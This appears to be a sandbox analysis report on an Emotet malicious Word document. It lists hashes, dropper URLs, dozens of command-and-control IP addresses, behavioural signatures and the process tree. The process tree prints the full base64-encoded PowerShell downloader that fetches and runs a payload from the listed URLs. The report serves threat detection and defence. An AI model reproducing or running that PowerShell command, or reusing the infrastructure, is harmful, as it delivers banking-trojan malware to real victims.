emotet | 4bd0be911a687ec4b5a5cbb2e2fefd2756af0764a5360ecdb90bbde1dbd3dfd2

General

Target
emotet_e3_4bd0be911a687ec4b5a5cbb2e2fefd2756af0764a5360ecdb90bbde1dbd3dfd2_2020-08-13__143038._doc.doc
Size 232KB
Sample200813-gmt9tx5pcx
SHA256 4bd0be911a687ec4b5a5cbb2e2fefd2756af0764a5360ecdb90bbde1dbd3dfd2
MD5 24e3318cff42fcf4bef6b8184c789da2
SHA1 6bdf00a1d7ce3e49ac4c5203efd9b621a0d776ad
SHA512 7153ba0d05b925b25af5ee35d66c6e3fa3f13909fc5a948718c8d1e8cf6c6ed99bcbf9ce8fa5637a4512ad1dc4aee99500b82d952bb5655bba0bc750f0201805
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://gregemmerth.com/stats/rBZp0wy31512967/
exe.dropper
http://paralink.com.br/faatads/19zPjcmw7r318182393/
exe.dropper
http://riandutra.com/img/yiZS/
exe.dropper
https://mrveggy.com/erros/Busgh63a1960/
exe.dropper
http://mycyberhealth.online/yyczief/wlW/

Extracted

Family

emotet

C2

176.216.226.44:80
159.203.232.29:8080
185.86.148.68:443
87.106.231.60:8080
113.161.148.81:80
78.189.60.109:443
192.163.221.191:8080
31.146.61.34:80
37.70.131.107:80
153.220.182.49:80
177.144.130.105:443
181.167.35.84:80
202.5.47.71:80
192.241.220.183:8080
78.188.170.128:80
182.176.95.147:80
87.252.100.28:80
115.78.11.155:80
212.156.133.218:80
203.153.216.178:7080
77.74.78.80:443
216.75.37.196:8080
195.201.56.70:8080
115.165.3.213:80
217.199.160.224:8080
105.213.67.88:80
190.55.233.156:80
91.83.93.103:443
181.164.110.7:80
51.38.201.19:7080
50.116.78.109:8080
178.33.167.120:8080
176.9.93.82:7080
192.210.217.94:8080
113.160.180.109:80
75.139.38.211:80
157.7.164.178:8081
190.164.75.175:80
182.187.139.200:8080
172.96.190.154:8080
37.46.129.215:8080
201.235.10.215:80
188.166.25.84:8080
181.113.229.139:443
139.99.157.213:8080
5.79.70.250:8080
190.190.15.20:80
212.112.113.235:80
143.95.101.72:8080
81.17.93.134:80
172.105.78.244:8080
46.105.131.68:8080
105.209.235.113:8080
92.24.51.238:80
163.172.107.70:8080
187.64.128.197:80
188.251.213.180:443
81.214.253.80:443
181.134.9.162:80
185.208.226.142:8080
46.32.229.152:8080
188.0.135.237:80
41.185.29.128:8080
179.5.118.12:80
177.37.81.212:443
107.161.30.122:8080
198.57.203.63:8080
114.173.201.110:80
97.104.107.190:80
139.59.12.63:8080
185.142.236.163:443
203.153.216.182:7080
75.127.14.170:8080
74.208.173.91:8080
115.79.195.246:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	536	3940	powersheLL.exe	67

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1120-14-0x0000000002450000-0x000000000245C000-memory.dmp	emotet
behavioral2/memory/1120-14-0x0000000002450000-0x000000000245C000-memory.dmp	emotet
behavioral2/memory/1496-17-0x0000000003E30000-0x0000000003E3C000-memory.dmp	emotet
behavioral2/memory/1496-17-0x0000000003E30000-0x0000000003E3C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
17	536	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1120	Wmzy.exe
1496	SortWindows61.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\bcd\SortWindows61.exe	Wmzy.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3588	WINWORD.EXE
3588	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
536	powersheLL.exe
536	powersheLL.exe
536	powersheLL.exe
1496	SortWindows61.exe
1496	SortWindows61.exe
1496	SortWindows61.exe
1496	SortWindows61.exe
1496	SortWindows61.exe
1496	SortWindows61.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	536	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3588	WINWORD.EXE
3588	WINWORD.EXE
3588	WINWORD.EXE
3588	WINWORD.EXE
3588	WINWORD.EXE
3588	WINWORD.EXE
3588	WINWORD.EXE
3588	WINWORD.EXE
3588	WINWORD.EXE
1120	Wmzy.exe
1120	Wmzy.exe
1496	SortWindows61.exe
1496	SortWindows61.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 536 wrote to memory of 1120	536	powersheLL.exe	75
PID 536 wrote to memory of 1120	536	powersheLL.exe	75
PID 536 wrote to memory of 1120	536	powersheLL.exe	75
PID 1120 wrote to memory of 1496	1120	Wmzy.exe	76
PID 1120 wrote to memory of 1496	1120	Wmzy.exe	76
PID 1120 wrote to memory of 1496	1120	Wmzy.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_4bd0be911a687ec4b5a5cbb2e2fefd2756af0764a5360ecdb90bbde1dbd3dfd2_2020-08-13__143038._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3588

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABBAE4AVwBUAFMAZQB2AGoAPQAnAEsASgBCAFkATwBvAGoAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwB1AHIAaQB0AGAAeQBwAGAAUgBgAE8AdABvAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAWABTAEIATABYAGUAdwBjACAAPQAgACcAVwBtAHoAeQAnADsAJABQAFoASgBRAFMAawBmAHEAPQAnAEkARgBOAFQAVwB1AGgAdAAnADsAJABBAEwAWgBLAEgAbABvAGkAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABYAFMAQgBMAFgAZQB3AGMAKwAnAC4AZQB4AGUAJwA7ACQAUABYAE8ARQBaAHkAegBkAD0AJwBDAFAASQBKAEQAegBjAHkAJwA7ACQATwBKAEoASgBZAGEAaQBoAD0ALgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAEUAVAAuAHcAZQBiAEMAbABpAGUATgBUADsAJABLAEcASwBFAEgAagBvAGwAPQAnAGgAdAB0AHAAOgAvAC8AZwByAGUAZwBlAG0AbQBlAHIAdABoAC4AYwBvAG0ALwBzAHQAYQB0AHMALwByAEIAWgBwADAAdwB5ADMAMQA1ADEAMgA5ADYANwAvACoAaAB0AHQAcAA6AC8ALwBwAGEAcgBhAGwAaQBuAGsALgBjAG8AbQAuAGIAcgAvAGYAYQBhAHQAYQBkAHMALwAxADkAegBQAGoAYwBtAHcANwByADMAMQA4ADEAOAAyADMAOQAzAC8AKgBoAHQAdABwADoALwAvAHIAaQBhAG4AZAB1AHQAcgBhAC4AYwBvAG0ALwBpAG0AZwAvAHkAaQBaAFMALwAqAGgAdAB0AHAAcwA6AC8ALwBtAHIAdgBlAGcAZwB5AC4AYwBvAG0ALwBlAHIAcgBvAHMALwBCAHUAcwBnAGgANgAzAGEAMQA5ADYAMAAvACoAaAB0AHQAcAA6AC8ALwBtAHkAYwB5AGIAZQByAGgAZQBhAGwAdABoAC4AbwBuAGwAaQBuAGUALwB5AHkAYwB6AGkAZQBmAC8AdwBsAFcALwAnAC4AIgBTAGAAUABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEoAQgBMAEsARQBoAGoAYQA9ACcASwBWAFIATwBBAGQAcwBrACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAE8ARwBGAEkAbAB1AGoAIABpAG4AIAAkAEsARwBLAEUASABqAG8AbAApAHsAdAByAHkAewAkAE8ASgBKAEoAWQBhAGkAaAAuACIAZABvAGAAVwBuAGAATABvAGEARABmAGkAYABMAGUAIgAoACQAUQBPAEcARgBJAGwAdQBqACwAIAAkAEEATABaAEsASABsAG8AaQApADsAJABLAEsAQQBMAFIAbwB4AGMAPQAnAFMAWQBDAE4AUgB5AHgAeQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEEATABaAEsASABsAG8AaQApAC4AIgBMAEUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwAzADMANAAxACkAIAB7ACYAKAAnAEkAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAKAAkAEEATABaAEsASABsAG8AaQApADsAJABFAFQASABWAFkAYwBvAGkAPQAnAE4ATwBGAFIAUwB5AHMAbgAnADsAYgByAGUAYQBrADsAJABZAEoAWABOAEIAZgBxAGMAPQAnAFgARQBUAFEAQwBsAGoAZwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABEAFAAQwBJAEQAZwBiAHAAPQAnAE0ARwBKAFAAWgBsAGEAegAnAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:536
- C:\Users\Admin\AppData\Local\Temp\Wmzy.exe
  "C:\Users\Admin\AppData\Local\Temp\Wmzy.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1120
- - C:\Windows\SysWOW64\bcd\SortWindows61.exe
    "C:\Windows\SysWOW64\bcd\SortWindows61.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1496

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/536-8-0x00007FFF80DA0000-0x00007FFF8178C000-memory.dmp

Download

memory/536-10-0x000001C3DF770000-0x000001C3DF771000-memory.dmp

Download

memory/536-9-0x000001C3DF6C0000-0x000001C3DF6C1000-memory.dmp

Download

memory/1120-14-0x0000000002450000-0x000000000245C000-memory.dmp

Download

memory/1496-17-0x0000000003E30000-0x0000000003E3C000-memory.dmp

Download

memory/3588-7-0x000002D661231000-0x000002D661245000-memory.dmp

Download

memory/3588-0-0x00007FFF89230000-0x00007FFF898F6000-memory.dmp

Download

memory/3588-3-0x000002D661063000-0x000002D6610CE000-memory.dmp

Download

memory/3588-2-0x000002D661063000-0x000002D6610CE000-memory.dmp

Download

memory/3588-4-0x000002D661063000-0x000002D6610CE000-memory.dmp

Download

memory/3588-6-0x000002D661231000-0x000002D661245000-memory.dmp

Download

memory/3588-1-0x000002D661063000-0x000002D6610CE000-memory.dmp

Download

memory/3588-5-0x000002D661231000-0x000002D661245000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads